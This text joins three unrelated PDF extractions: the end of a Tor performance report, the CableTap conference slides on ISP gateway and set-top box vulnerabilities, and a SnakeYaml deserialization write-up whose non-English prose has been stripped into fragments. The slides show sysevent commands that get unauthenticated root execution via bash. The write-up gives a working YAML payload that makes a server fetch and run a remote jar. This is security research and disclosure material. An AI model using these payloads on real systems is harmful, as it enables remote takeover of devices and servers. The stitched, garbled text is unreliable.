tokens, and once it’s empty there’s nothing we can do but wait until the next second for permission to send more cells. We should explore refilling the buckets more often than once a second, for three reasons. First, we’ll get a better intuition about how full the buffers really are: if we spread things out better, then we could reduce latency by perhaps multiple seconds. Second, spikes-and-silence is not friendly for TCP, so averaging the flows ourselves might mean much smoother network performance. Third, sub-second precision will give us more flexibility in our priority strategies from Section 2.1. On the other hand, we don’t want to go too far: cells are 512 bytes, so it isn’t useful to think in units smaller than that. Also, every network write operation carries with it overhead from the TLS record, the TCP header, and the IP packet header. Finally, network transmission unit (MTU) sizes vary, but if we could use a larger packet on the wire and we don’t, then we’re not being as efficient as we could be. Impact: Low-Medium. Effort: Medium. Risk: Low, unless we add in bad feedback effects and don’t notice. Plan: We should continue collecting metrics to get better intuition here. While we’re designing priority stategies for Section 2.1, we should keep the option of higher-resolution rate-limiting in mind. 19 Performance Improvements on Tor Circuit extension time Time [s] Density 0 1 2 3 4 5 6 7 8 9 10 0.0 0.2 0.4 0.6 0.8 1st hop 2nd hop 3rd hop All hops Figure 5: Number of seconds it takes to establish each hop of a 3-hop circuit. The higher density of samples around 2s, 3s, etc indicate that rate limiting at each relay is introducing extra delay into the responses. 20 Performance Improvements on Tor 5.2 Better timeouts for giving up on circuits and trying a new one Some circuits are established very quickly, and some circuits take many seconds to form. The time it takes for the circuit to open can give us a hint about how well that circuit will perform for future traffic. We should discard extremely slow circuits early, so clients never have to even try them. The question, though, is how to decide the right timeouts? If we set a static timeout in the clients, then choosing a number that’s too low will cause clients to discard too many circuits. Worse, clients on really bad connections will never manage to establish a circuit. On the other hand, setting a number that’s too high won’t change the status quo much. Fallon Chen worked during her Google-Summer-of-Code-2008 internship with us on collecting data about how long it takes for clients to establish circuits, and analyzing the data to decide what shape the distribution has (it appears to be a Pareto distribution). The goal is for clients to track their own circuit build times, and then be able to recognize if a circuit has taken longer than it should have compared to the previous circuits. That way clients with fast connections can discard not-quite-fast-enough circuits, whereas clients with slow connections can discard only the really-very-slow circuits. Not only do clients get better performance, but we can also dynamically adapt our paths away from overloaded relays. Mike and Fallon wrote a proposal8 explaining the details of how to collect the stats, how many data points the client needs before it has a good sense of the expected build times, and so on. Further, there’s another case in Tor where adaptive timeouts would be smart: how long we wait in between trying to attach a stream to a given circuit and deciding that we should try a new circuit. Right now we have a crude and static “try 10 seconds on one, then try 15 seconds on another” algorithm, which is both way too high and way too low, depending on the context. Impact: Medium. Effort: Medium, but we’re already part-way through it. Risk: Low, unless we’ve mis-characterized the distribution of circuit extend times, in which case clients end up discarding too many circuits. Plan: We should deploy the changes in clients in Tor 0.2.2.x to collect circuit times, and see how that goes. Then we should gather data about stream timeouts to build a plan for how to resolve the second piece. 5.3 If extending a circuit fails, try extending a few other places before aban- doning the circuit. Right now, when any extend operation fails, we abandon the entire circuit. As the reasoning goes, any other approach allows an attacker who controls some relays (or part of the network) to dictate our circuits (by declining to extend except to relays that he can successfully attack). However, this reasoning is probably too paranoid. If we try at most three times for each hop, we greatly increase the odds that we can reuse the work we’ve already done, but we don’t much increase the odds that an attacker will control the entire circuit. Overall, this modification should cut down on the total number of extend attempts in the network. This result is particularly helpful since some of our other schemes in this document involve increasing that number. Impact: Low. Effort: Low. Risk: Low-medium. We need to actually do some computations to confirm that the risk of whole-path compromise is as low as we think it is. Plan: Do the computations, then write a proposal, then do it. 8https://svn.torproject.org/svn/tor/trunk/doc/spec/proposals/151-path-selection-improvements.txt 21 Performance Improvements on Tor 5.4 Bundle the first data cell with the begin cell In Tor’s current design, clients send a “relay begin” cell to specify the intended destination for our stream, and then wait for a “relay connected” cell to confirm the connection is established. Only then do they complete the SOCKS handshake with the local application, and start reading application traffic. We could modify our local proxy protocol in the case of Privoxy or Polipo so it sends the web request to the SOCKS port during the handshake. Then we could optimistically include the first cell worth of application data in the original begin cell. This trick would allow us to cut out an entire network round-trip every time we establish a new connection through Tor. The result would be quicker page loads for users. Alas, this trick would involve extending the SOCKS protocol, which isn’t usually a polite strategy when it comes to interoperating with other applications. On the other hand, it should be possible to extend it in a backwards-compatible way: applications that don’t know about the trick would still behave the same and still work fine (albeit in a degraded mode where they waste a network round-trip). Impact: Medium. Effort: Medium. Risk: Low. Plan: Overall, it seems like a delicate move, but with potentially quite a good payoff. I’m not convinced yet either way. 6 The network overhead may still be high for modem users Even if we resolve all the other pieces of the performance question, there still remain some challenges posed uniquely by users with extremely low bandwidth – for example, users on modems or cell phones. We need to optimize the Tor protocols so they are efficient enough that Tor can be practical in this situation too. 6.1 We’ve made progress already at directory overhead We’ve already made great progress at reducing directory overhead, both for bootstrapping and maintenance. Our blog post on the topic provides background and details9. Proposal 158 further reduces the directory overhead, and is scheduled to be deployed in Tor 0.2.2.x.10 Impact: Low for normal users, high for low-bandwidth users. Effort: Medium, but we’re already a lot of the way through it. Risk: Low. Plan: We should roll out proposal 158. Then we’ll be in good shape for a while. The next directory overhead challenge will be in advertising many more relays; but first we need to get the relays. 6.2 Our TLS overhead can also be improved OpenSSL will, by default, insert an empty TLS application record before any one which contains data. This is to prevent an attack, by which someone who has partial control over the plaintext of a TLS stream, can also confirm guesses as to the plaintext which he does not control. By including an empty application record, which incorporates a MAC, the attacker is made unable to control the CBC initialization vector, and hence does not have control of the input to the encryption function [7]. This application record does introduce an appreciable overhead. Most Tor cells are sent in application records of their own, giving application records of 512 bytes (cell) + 20 bytes (MAC) + 12 bytes (TLS padding) + 5 bytes (TLS application record header) = 549 bytes. The empty application records contain 9https://blog.torproject.org/blog/overhead-directory-info%3A-past%2C-present%2C-future 10https://svn.torproject.org/svn/tor/trunk/doc/spec/proposals/158-microdescriptors.txt 22 Performance Improvements on Tor only 20 bytes (MAC) + 12 bytes (TLS padding) + 5 bytes (TLS application record header) = 37 bytes. There is also a 20 byte IP header and 32 byte TCP header. Thus the overhead saved by removing the empty TLS application record itself is 37/(549+37+20+32) = 5.8%. This calculation is assuming that the same number of IP packets will be sent, because currently Tor sends packets, with only one cell, far smaller than the path MTU. If Tor were to pack cells optimally efficiently into packets, then removing the empty application records would also reduce the number of packets, and hence TCP/IP headers, that needed to be sent. The reduction in TCP/IP header overhead would be 37/(549 + 37) = 6.3%. Of course, the empty application record was inserted for a reason – to prevent an attack on the CBC mode of operation used by TLS, so before removing it we must be confident the attack does not apply to Tor. Ben Laurie (one of the OpenSSL developers) concluded that in his opinion Tor could safely remove the insertion of empty TLS application records [5]. Steven was able to come up with only certificational weaknesses (discussed in the above analysis), which are expensive to exploit and give little information to the attacker. Impact: Low. Effort: Low. Risk: Medium, since our initial analysis might be wrong. Plan: Do it in the Tor 0.2.2.x or 0.2.3.x timeframe. Not critical. 7 Last thoughts 7.1 Lessons from economics Imagine we implement all the solutions above, and it doubles the effective capacity of the Tor network. The na¨ıve hypothesis is that users would then experience twice the throughput. Unfortunately this is not true, because it assumes that the number of users does not vary with bandwidth available. In fact, as the supply of the Tor network’s bandwidth increases, there will be a corresponding increase in the demand for bandwidth from Tor users. Simple economics shows that performance of Tor and other anonymization networks is controlled by how the number of users scales with available bandwidth; this relationship can be represented by a demand curve.11 Figure 6 is the typical supply and demand graph from economics textbooks, except with long-term throughput per user substituted for price, and number of users substituted for quantity of goods sold. As the number of users increases, the bandwidth supplied by the network falls. In drawing the supply curve, we have assumed the network’s bandwidth is constant and shared equally over as many users as needed. The shape of the demand curve is much harder to even approximate, but for the sake of discussion, we have drawn three alternatives. The number of Tor users and the throughput they each get is the intersection between the supply and demand curves – the equilibrium. If the number of users is below this point, more users will join and the throughput per user will fall to the lowest tolerable level. Similarly, if the number of users is too high, some will be getting lower throughput than their minimum, so will give up, improving the network for the rest of the users. Now assume Tor’s bandwidth grows by 50% – the supply curve shifts, as shown in the figure. By comparing how the equilibrium moves, we can see how the shape of the demand curve affects the performance improvement that Tor users see. If the number of users is independent of performance, shown in curve A, then everyone gets a 50% improvement, which matches the na¨ıve hypothesis. More realistically, the number of users increases, so the performance gain is less. The shallower the curve gets, the smaller the performance increase will be. For demand curve B, there is a 18% increase in the number of Tor users and a 27% increase 11The economics discussion is based on a blog post published in Light Blue Touchpaper [9]. The property discussed was also observed by Andreas Pfitzmann in response to a presentation at the PET Symposium [16]. 23 Performance Improvements on Tor Number of users Throughput per user G A G B G C Supply Demand Figure 6: Hypothetical supply and demand curves for Tor network resources. As supply goes up, point A corresponds to no increase in users, whereas points B and C represent more users arriving to use up some of the new capacity. 24 Performance Improvements on Tor in throughput. On the other hand, with curve C there are 33% more users and so only a 13% increase in throughput for each user. The above analysis glosses over many topics. One interesting analysis is reaching equilibrium – in fact it could take some time between the network bandwidth changing and the user population reaching stability. If this period is sufficiently long and network bandwidth is sufficiently volatile it might never reach equilibrium. We might also consider effects which shift the demand curve. In normal economics, marketing makes people buy a product even though they considered it too expensive. Similarly, a Slashdot article or news of a privacy scandal could make Tor users more tolerant of the poor performance. Finally, the user perception of performance is an interesting and complex topic. In this analyis we assumed that performance is equivalent to throughput; but actually latency, packet loss, predictability, and their interaction with TCP/IP congestion control are important components too. So what does all this tell us? The above discussion has argued that the speed of an anonymity network will converge on the slowest level that the most tolerant users will consider usable. This is problematic because there is significant variation in levels of tolerance between different users and different protocols. Most notably, file sharing users are subject to high profile legal threats, and do not require interactive traffic, so they will continue to use a network even if the performance is considerably lower than the usable level for web browsing. In conventional markets, this type of problem is solved by differential pricing, for example different classes of seat on airline flights. In this model, several equilibrium points are allowed to form, and the one chosen will depend on the cost/benefit tradeoffs of the customers. A similar strategy could be used for Tor, allowing interactive web browsing users to get higher performance, while forcing bulk data transfer users to have lower performance (but still tolerable for them). Alternatively, the network could be configured to share resources in a manner such that the utility to each user is more equal. In this case, it will be acceptable to all users that a single equilibrium point is formed, because its level will no longer be characterized in terms of simple bandwidth. Section 2 is an example of the former strategy. Web browsing users will be offered better performance, so we should attract more of them, but hopefully not so many that the performance returns to current levels. In constrast, bulk-traffic users will be given poorer performance, but since they are less sensitive to latency, it could be that they do not mind. Section 1 could be used to implement the latter strategy. If web-browsing users are more sensitive to latency than bandwidth, then we could optimize the network for latency rather than throughput. 7.2 The plan moving forward Our next steps should be to work with funders and developers to turn this set of explanations and potential fixes into a roadmap: we need to lay out all the solutions, sort out the dependencies, assign developers to tasks, and get everything started. At the same time, we need to continue to work on ways to measure changes in the network: without ‘before’ and ‘after’ snapshots, we’ll have a much tougher time telling whether a given idea is actually working. Many of the plans here have a delay between when we roll out the change and when the clients and relays have upgraded enough for the change to be noticeable. Since our timeframe requires rolling out several solutions at the same time, an increased focus on metrics and measurements will be critical to keeping everything straight. Lastly, we need to be aware that ramping up development on performance may need to push out or downgrade other items on our roadmap. So far, Tor has been focusing our development energy on the problems that funders are experiencing most severely at the time. This approach is good to make sure that we’re always working on something that’s actually important. But it also means that next year’s critical items don’t get as much attention as they should, and last year’s critical items don’t get as much maintenance as they should. Ultimately we need to work toward having consistent funding for core Tor development and maintenance as well as feature-oriented funding. 25 Performance Improvements on Tor References [1] Kent, S., and Seo, K. Security architecture for the internet protocol. RFC 4301, IETF, December 2005. [2] Kiraly, C. Effect of Tor window size on performance. Email to or-dev@freehaven.net, February 2009. http://archives.seul.org/or/dev/Feb-2009/msg00000.html. [3] Kiraly, C., G., B., and Lo Cigno, R. Solving performance issues in anonymization overlays with a L3 approach. Tech. Rep. DISI-08-041, University of Trento, September 2008. version 1.1, http://disi.unitn.it/locigno/preprints/TR-DISI-08-041.pdf. [4] Kohno, T., Broido, A., and claffy, k. Remote physical device fingerprinting. In IEEE Symposium on Security and Privacy (Oakland, CA, US, May 2005), IEEE Computer Society, pp. 211–225. [5] Laurie, B. On TLS empty record insertion. Email to or-dev@freehaven.net, in thread “Re: Empty TLS application records being injected in Tor streams”, December 2008. http://archives.seul.org/ or/dev/Dec-2008/msg00005.html. [6] McCoy, D., Bauer, K., Grunwald, D., Kohno, T., and Sicker, D. Shining light in dark places: Understanding the Tor network. In Proceedings of the Eighth International Symposium on Privacy Enhancing Technologies (PETS 2008) (Leuven, Belgium, July 2008), N. Borisov and I. Goldberg, Eds., Springer, pp. 63–76. [7] M¨oller, B. Security of CBC ciphersuites in SSL/TLS: Problems and countermeasures, May 2004. http://www.openssl.org/∼bodo/tls-cbc.txt. [8] Murdoch, S. J. Hot or not: Revealing hidden services by their clock skew. In CCS ’06: Proceedings of the 9th ACM Conference on Computer and Communications Security (Alexandria, VA, US, October 2006), ACM Press, pp. 27–36. [9] Murdoch, S. J. Economics of Tor performance. Light Blue Touchpaper, 18 July 2007. http: //www.lightbluetouchpaper.org/2007/07/18/economics-of-tor-performance/. [10] Murdoch, S. J., and Watson, R. N. M. Metrics for security and performance in low-latency anonymity networks. In Proceedings of the Eighth International Symposium on Privacy Enhancing Technologies (PETS 2008) (Leuven, Belgium, July 2008), N. Borisov and I. Goldberg, Eds., Springer, pp. 115–132. [11] Øverlier, L., and Syverson, P. Locating hidden servers. In Proceedings of the 2006 IEEE Sympo- sium on Security and Privacy (May 2006), IEEE CS. [12] Pradhan, P., Kandula, S., Xu, W., Shaikh, A., and Nahum, E. Daytona: A user-level TCP stack, 2002. http://nms.lcs.mit.edu/∼kandula/data/daytona.pdf. [13] Reardon, J. Improving Tor using a TCP-over-DTLS tunnel. Master’s thesis, University of Waterloo, September 2008. http://hdl.handle.net/10012/4011. [14] Rescorla, E., and Modadugu, N. Datagram transport layer security. RFC 4347, IETF, April 2006. [15] Snader, R., and Borisov, N. A tune-up for Tor: Improving security and performance in the Tor network. In Network & Distributed System Security Symposium (February 2008), Internet Society. 26 Performance Improvements on Tor [16] Wendolsky, R., Herrmann, D., and Federrath, H. Performance comparison of low-latency anonymisation services from a user perspective. In Proceedings of the Seventh Workshop on Privacy Enhancing Technologies (PET 2007) (Ottawa, Canada, June 2007), N. Borisov and P. Golle, Eds., Springer. 27
pdf
CableTap Wirelessly Tapping your Home Network Marc Newlin Bastille Networks marc@bastille.io @marcnewlin Logan Lamb Bastille Networks logan@bastille.io Christopher Grayson Web Sight chris@websight.io @_lavalamp Welcome to the LineCon after-party. Marc Newlin (@marcnewlin) Wireless Security Researcher @ Bastille Networks Christopher Grayson (@_lavalamp) ● Web development ● Academic researcher ● Haxin’ all the things ● Founder & Principal Engineer (Web Sight) Logan Lamb (Researcher @ Bastille Networks) What is CableTap? ● 26 CVEs ● ISP-provided wireless gateways and set-top boxes ● Multiple unauthenticated RCE attack chains ● Network vulnerabilities ● Wi-Fi vulnerabilities ● ZigBee RF4CE vulnerabilities Why does CableTap matter? ● Full compromise of affected devices ● Wide impact ○ ISP vulnerabilities ○ Vendor vulnerabilities ○ RDK vulnerabilities (software stack used by many major ISPs) ● Attack chains affecting Comcast XFINITY devices have been patched Agenda 1. Background on RDK 2. RDK-based devices 3. Progression of research 4. Vulnerabilities 5. Disclosure process 6. Q&A Background on RDK Reference Development Kit (RDK) • “a standardized software stack with localization plugins created to accelerate the deployment of next-gen video products and services by multichannel video providers (MVPDs).” • Founded in 2012 • Standardized software stack for modems, set top boxes, media devices https://rdkcentral.com/ Yay Open Source (?) Software! •An open-source, community-driven project available at: https://code.rdkcentral.com/ •But wait what’s this WHOIS record? •Ohhhh that sinking feeling in the pit of my stomach… Yeah But Who Needs Patches Anyhoo • There’s the open source version, then there’s the versions deployed on deployed devices • Lots of vulns patched in the open source repo • Patches take months to deploy, no CVEs filed for, no disclosure to affected customers • Still faster to deploy patches with RDK than non-standardized “native” stacks • RCE, XSS, XSRF, you name it they got it RDK-Based Devices RDK Devices ● RDK-B - gateways ● RDK-V - set-top boxes RDK-V Consumer Standpoint ● Watch TV! ● On-screen guide ● On Demand / Pay per view ● DVR ● WebApps (Pandora, Netflix) RDK-V Engineer Standpoint ● Plumbing ○ DRM, Diagnostics, Management ● Audio / Video ○ PPV, VOD, Closed Captioning (Webkit) ● Features DOCSIS, MoCA, RF4CE ● Webkit / OpenGL / GStreamer RDK-B Consumer Standpoint Modem + Router = Gateway RDK-B Consumer Standpoint ● Modem and router functionality ● Can connect with home security system and cordless phones ● All-in-one internet solution RDK-B Engineer Standpoint Network Processor + Application Processor = RDK-B RDK-B Engineer Standpoint ● Intel PUMA Progression of Research Marc learns to netcat ● Project inspiration (Peter Geissler’s talk @ HITB) ● Connecting with Chris ○ Prior Comcast customer (Marc’s ISP) ○ “Beyond your cable modem” 32C3 talk ● “How do I webapp security plz?” ● Pulling off the filesystem using the previously disclosed web UI ping vuln ● Digging into the RDK repos Getting Serious ● Finding some vulns and getting serious ● Bringing the side project to Bastille ● Bringing Logan into the fold ○ Hardware and embedded hacking expertise ● Expanding to set-top boxes ● Disclosing to vendors as new vulnerabilities are found Vulnerabilities Vulns - Free Internet ● Public wifi access points run by ISPs ○ e.g. “CableWiFi”, “xfinitywifi”, etc ● AP’s are on customer equipment or ISP equipment ● Customer logs into their ISP account to get access ● MAC address is remembered for future access ● Attacker can spoof the MAC ○ Free Internet on other public access points ○ “xfinitywifi” usage does not count toward a customer’s bandwidth cap Vulns - Hidden Home Security WiFi ● Home security service offered by many ISPs ● Touchscreen control panel connects over WiFi ○ Hidden WiFi network runs on the customer’s gateway ○ SSID and passphrase generated based on the CM MAC ● Hidden WiFi network, previously documented online ○ Web UI access point index “hack” ○ XHS-XXXXXXXX SSID format, based on CM MAC ● Grepping around for “calculate” “generate” “key” “psk” etc Vulns - Hidden Home Security WiFi ● CalculatePSKKey in <some binary> ● Cross compiling for big-endian ARM and running a keygen binary on the gateway ● Guesswork yielding the CM MAC input and PSK key output ● Command line binary observed on some devices ● How to get the CM MAC?? Vulns - DHCP ACK CM MAC leak 1. Connect to “xfinitywifi” network 2. CM MAC of the wireless gateway is included in the DHCP ACK 3. Generate hidden home security network SSID and passphrase Vulns - IPv6 multicast CM MAC leak 1. Sniff the 802.11 channel used by the target wireless gateway 2. Every ~4 seconds, a 156-byte IPv6 multicast packet is transmitted with the l2sd0.500 interface MAC address 3. Translate the l2sd0.500 MAC to the CM MAC 4. Generate hidden home security network SSID and passphrase 11:22:33:44:55:66 - l2sd0.500 0F:22:33:44:55:63 - CM MAC Vulns - eMTA FQDN CM MAC leak 1. mta0 (VoIP) interface has FQDN containing the mta0 MAC 2. Translate the mta0 MAC into the CM MAC 3. Generate hidden home security network SSID and passphrase FQDN: m001122334455.atlt6.ga.comcast.net CM MAC: 00:11:22:33:44:53 <-- last octet decreased by 2 Vulns - IPv6 addressing from CM MACs ● Global IPv6 ● Link-local IPv6 Given the following inputs: Region identifier: 40:11 (Atlanta) Unknown octet: 53 (can be brute forced) MAC address: 11:22:33:44:55:66 The following wan0 IPv6 address is generated: 2001:0558:4011:0053:1122:33FF:FE44:5566 Comcast vs public internet device access ● Web UI supports MSO login from WAN only ● SSH service from WAN only ● Internet-facing network configuration appears well locked-down Vulns - POTD ● “Password of the day” can be generated on a wireless gateway ● Used for remote web UI authentication ● Used for remote SSH authentication Xfinity Send-to-TV ● Xifinity customer signs in with their account credentials ● Web app accepts URL ● Set-top box displays URL in a web browser Vulns - Xfinity Send-to-TV / Remote Web UI ● Gateway web UI accepts remote requests from Comcast infrastructure ○ MSO login using the POTD ○ Alternative hard-coded credentials ● IPv6 address of target gateway provides remote web UI access via set-top box Send-to-TV Attack Demo It’s Like CGI, But Fast & w/ Exploits • FastCGI – successor to the Common Gateway Interface (CGI) protocol • Authored in 1996 • Enables web servers to invoke other processes – birth of dynamic generation of web content • No RFC, only documentation from MIT .edu site FastCGI Protocol • Binary protocol • Request IDs for multiplexing • ”0” request ID for querying management information • Three “roles” • Responder – handle the execution of a file from HTTP request (file path passed to FastCGI server) • Authorizer – returns an authorized/not authorized response • Filter – Same as responder but receives file over STDIN http://www.mit.edu/~yandros/doc/specs/fcgi-spec.html PHP FastCGI Process Manager (PHP-FPM) • PHP + FastCGI – what could possibly go wrong?! • Lets you reconfigure PHP settings on every request • HTTP POST data supplied via STDIN FastCGI parameter • If only there were abusable PHP configuration values… Piecing Things Together •We can… • Reconfigure the PHP interpreter to include an arbitrary file • Supply data to STDIN via HTTP POST •But how do we include STDIN? •PHP TO THE RESCUE! • php://stdin Isn’t This Old News? • Yes… Kind of (CVE-2012-1823) • Previous work was on exploiting the PHP-CGI binary residing within a web directory • But what if the PHP-CGI binary is bound to a network port? • Nmap sees as tcpwrapped (TCP 1026-1029) • Scripts for detection included in CableTap code repo 37,449 PHPFPM servers on port 1026 (IPv4 address space) A Twist in RDKs PHPFPM • PHPFPM on the RDK deployments we tested had the PHP configuration component stripped out • No publicly-available documentation as to how to do this – why was it removed? • Could still gain code execution by referencing PHP files on the system and bypassing control flow guards in the default web app Svseventd - RCE as a Service (RaaS) •Binary protocol listener on TCP 52,367 (all interfaces) •Not the same as Oracle syseventd! •Intended for firing off commands based on system events (logging??) •No auth, no nothing! Syseventd Usage 1. Create an event with a name and a binary to call upon event occurrence (name must be a file path) 2. Trigger the event by touching the event name file path and providing an argument 3. Binary is called with event name and arguments passed to command via execv $ sysevent --port 52367 --ip 172.16.12.1 async </path/to/file> /bin/cp $ sysevent --port 52367 --ip 172.16.12.1 set </path/to/file> /var/IGD/<file> $ /bin/cp </path/to/file> /var/IGD/</file> Syseventd (ab)Usage /bin/cp /nvram/bbhm_cur_cfg.xml /var/IGD/bbhm_cur_cfg.xml Target Process Event Name Event Value /bin/bash –c “<commands to execute>” • Create an event with a target process of /bin/bash and an event name of -c • Trigger the event with a value of the bash command to run • ??? • Profit Where The Syseventd At?! • Bound to all interfaces • Sometimes not firewalled off from public-facing IP address • Otherwise exposed to plenty of the LAN IPs 149,162 Syseventd services on TCP 52,367 (IPv4 address space) A Tale of Two Operating Systems • Two operating systems on the board • One ARM (modem w/ web app) and one Atom (router) • Modem is at bottom of range (10.0.0.1) and Atom is at top of range (10.0.0.254) I MAKE MY OWN ROUTES DAMMIT • Atom OS has an interface allocated in 169.254.0.0/16 range for Dbus • …You can route to it if you’re into that sort of thing • Custom RPC service that is quite literally RCE as service, and all that FastCGI goodness • Once on Atom side, hardcoded root SSH creds to ARM side on 192.168.0.0/16 ip route add 169.254.0.1 via 10.0.0.254 Set-Top box vulns Remote web inspector Arbitrary file read Root command execution RF4CE remote force pairing RF4CE remote force OTA Remote Web Inspector Comparable to FireFox and Chrome DevTools Accessible from over the internet Arbitrary file read Root command execution Sanitize your post data! Voice Remote Overview Control your STB with your voice! Wireless instead of IR! Motion activated lights! TI CC2530 with RF4CE stack RF4CE Overview Zigbee protocol for remote control Key exchange is unencrypted RF4CE MSO (OpenCable) Overview Uses RF4CE For remote control of cable equipment Binding process is not rate limited RF4CE remote force pairing Emulate remote Entire binding process in under one second ~2 hours to force pair remote RF4CE remote force OTA Firmware package ISN’T signed 1) Modify update daemon 2) Modify firmware payload 3) Fix CRC and version 4) OTA :) Disclosure Disclosure Timeline ● 03/27/2017 Group 1 Vendor Disclosures ● 03/28/2017 Group 2 Vendor Disclosures ● 04/20/2017 Group 3 Vendor Disclosures ● 04/28/2017 Group 4 Vendor Disclosures ● 07/28/2018 Public Disclosure (all groups) Remediation and Mitigation ● Unauthenticated RCE attack chains affecting Comcast XFINITY devices have been remediated ● Customers of other ISPs should contact their ISP to determine if their hardware is affected by CableTap Final Remarks ● Not enough time to talk about all of the vulnerabilities ● Please see our whitepaper for further details <link to whitepaper> ● We found a substantial number of vulns, but the most severe have been patched (hooray!) Q&A Thank you for watching our talk :) Thanks to Bastille for supporting our research. Thanks to Comcast for remediating the unauthenticated RCE attack chains affecting Xfinity-branded devices. Marc Newlin Bastille Networks marc@bastille.io @marcnewlin Logan Lamb Bastille Networks logan@bastille.io Christopher Grayson Web Sight chris@websight.io @_lavalamp
pdf
SnakeYaml SnakeYaml SnakeYaml SnakeYaml SnakeYaml SPI ScriptEngineManager C3P0 ScriptEngineManager Reference SnakeYaml snakeyamlyamlyamlxmlproperties SpringyamlSnakeYamlYAML1.1 ProcessorUTF-8/UTF-16Java/YAML yamlhttps://www.yiibai.com/yaml Spring ymlyamlpocyml yamlhttps://www.345tool.com/zh-hans/formatter/yaml-formatter SnakeYaml <!-- https://mvnrepository.com/artifact/org.yaml/snakeyaml --> <dependency> <groupId>org.yaml</groupId> <artifactId>snakeyaml</artifactId> <version>1.27</version> </dependency> String dump(Object data) JavaYAML void dump(Object data, Writer output) JavaYAML String dumpAll(Iterator<? extends Object> data) JavaYAML void dumpAll(Iterator<? extends Object> data, Writer output) JavaYAML String dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle) JavaYAML String dumpAsMap(Object data) JavaYAML <T> T load(InputStream io) YAMLJava <T> T load(Reader io) YAMLJava <T> T load(String yaml) YAMLJava Iterable<Object> loadAll(InputStream yaml) YAMLJava Iterable<Object> loadAll(Reader yaml) YAMLJava Iterable<Object> loadAll(String yaml) YAMLJava SnakeYamlYaml.dump()Yaml.load()yaml Yaml.load()Java Yaml.dump()yaml User public class User { public String name; public void setName(String name) { this.name = name; } public String getName() { return name; } } Demo import Yaml; public class SankeYamlDemo { public static void main(String[] args) { User user = new User(); user.setName("xiaobei"); Yaml yaml = new Yaml(); String dump = yaml.dump(user); System.out.println(dump); } } org.yaml.snakeyaml. !!com.zh1z3ven.SnakeYaml.User {name: xiaobei} !! fastjson @type User,print public class User2 { String name; int age; public User2() { System.out.println("User"); } public String getName() { System.out.println("User.getName"); return name; } public void setName(String name) { System.out.println("User.setName"); this.name = name; } public String getAge() { System.out.println("User.getAge"); return name; } public void setAge(String name) { System.out.println("User.setAge"); this.name = name; } } Demo !! import Yaml; public class SankeYamlDemo { public static void main(String[] args) { Deserialize(); } public static void Serialize(){ User user = new User(); user.setName("xiaobei"); Yaml yaml = new Yaml(); String dump = yaml.dump(user); System.out.println(dump); } public static void Deserialize(){ org.yaml.snakeyaml. String s = "!!com.zh1z3ven.SnakeYaml.User2 {name: xiaobei, age: 18}"; Yaml yaml = new Yaml(); User2 user2 = yaml.load(s); } } User User.setName User.setAge set SnakeYaml yaml !! + ScriptEngineManager payloadSPI URLClassLoader payload JNDI PoCjavax.script.ScriptEngineManagerURLClassLoader githubweb SnakeYaml Runtime.getRuntime().exec("open -a Calculator"); ClassLoaderdefineClass bytecodebase64 javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ . web poc !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:9000/yaml-payload.jar"] ]] ] http log yaml.load(s) StringReader PoCStreamReaderthis.stream payload loadFromReader(new StreamReader(yaml), Object.class) payloadComposer new ParserImpl !! -> tag:yaml.org,2002: payload BaseConstructor#setComposer() Composer BaseConstructor#getSingleData(type) this.composer.getSingleNode() payload !! tagxx ,yamlset maptag !! tag Bypass public static final String PREFIX = "tag:yaml.org,2002:"; public static final Tag YAML = new Tag("tag:yaml.org,2002:yaml"); public static final Tag MERGE = new Tag("tag:yaml.org,2002:merge"); public static final Tag SET = new Tag("tag:yaml.org,2002:set"); public static final Tag PAIRS = new Tag("tag:yaml.org,2002:pairs"); public static final Tag OMAP = new Tag("tag:yaml.org,2002:omap"); public static final Tag BINARY = new Tag("tag:yaml.org,2002:binary"); public static final Tag INT = new Tag("tag:yaml.org,2002:int"); public static final Tag FLOAT = new Tag("tag:yaml.org,2002:float"); public static final Tag TIMESTAMP = new Tag("tag:yaml.org,2002:timestamp"); public static final Tag BOOL = new Tag("tag:yaml.org,2002:bool"); public static final Tag NULL = new Tag("tag:yaml.org,2002:null"); public static final Tag STR = new Tag("tag:yaml.org,2002:str"); public static final Tag SEQ = new Tag("tag:yaml.org,2002:seq"); public static final Tag MAP = new Tag("tag:yaml.org,2002:map"); tagpayload ParserImpl#parseNode() parseNode:426, ParserImpl (org.yaml.snakeyaml.parser) access$1300:117, ParserImpl (org.yaml.snakeyaml.parser) produce:359, ParserImpl$ParseBlockNode (org.yaml.snakeyaml.parser) peekEvent:158, ParserImpl (org.yaml.snakeyaml.parser) checkEvent:148, ParserImpl (org.yaml.snakeyaml.parser) composeNode:136, Composer (org.yaml.snakeyaml.composer) getNode:95, Composer (org.yaml.snakeyaml.composer) getSingleNode:119, Composer (org.yaml.snakeyaml.composer) getSingleData:150, BaseConstructor (org.yaml.snakeyaml.constructor) loadFromReader:490, Yaml (org.yaml.snakeyaml) load:416, Yaml (org.yaml.snakeyaml) payload !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:9000/yaml-payload.jar"] ]] ] <org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:javax.script.Scrip tEngineManager, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org, 2002:java.net.URLClassLoader, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag =tag:yaml.org,2002:seq, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:y aml.org,2002:java.net.URL, value=[<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag: yaml.org,2002:str, value=http://127.0.0.1:9000/yaml-payload.jar)>])>])>])>])> return this.constructDocument(node) BaseConstructor#constructDocument constructObject constructObjectNoCheck tagvalue getConstructor nodepayload Constructor#construct getConstuctor getClassForNode this.typeTags nullif getClassForName ScriptEngineManager Class typeTags Mapputtagclass ScriptEngineManager class URLClassLoader URL URL class construct node type newInstance 3 URL URLClassLoader ScriptEngineManager Fastjsonpayload tagnodetypeSnakeYaml !! tag ScriptEngineManager URLClassLoader URL class construct URL URLClassLoader ScriptEngineManager SPI ScriptEngineManager SPI ScriptEngineManager SPI SPI Service Provider Interface ClassPath META-INF/services SPI Java classpath META-INF/services/ lombok poc JDBC java.util.ServiceLoder META-INF/services Class.forName , newInstance() , ScriptEngineManager ScriptEngineManager payloadjar ScriptEngineManager newInstance F7 initEngines ServiceLoaderSPI META-INF/services 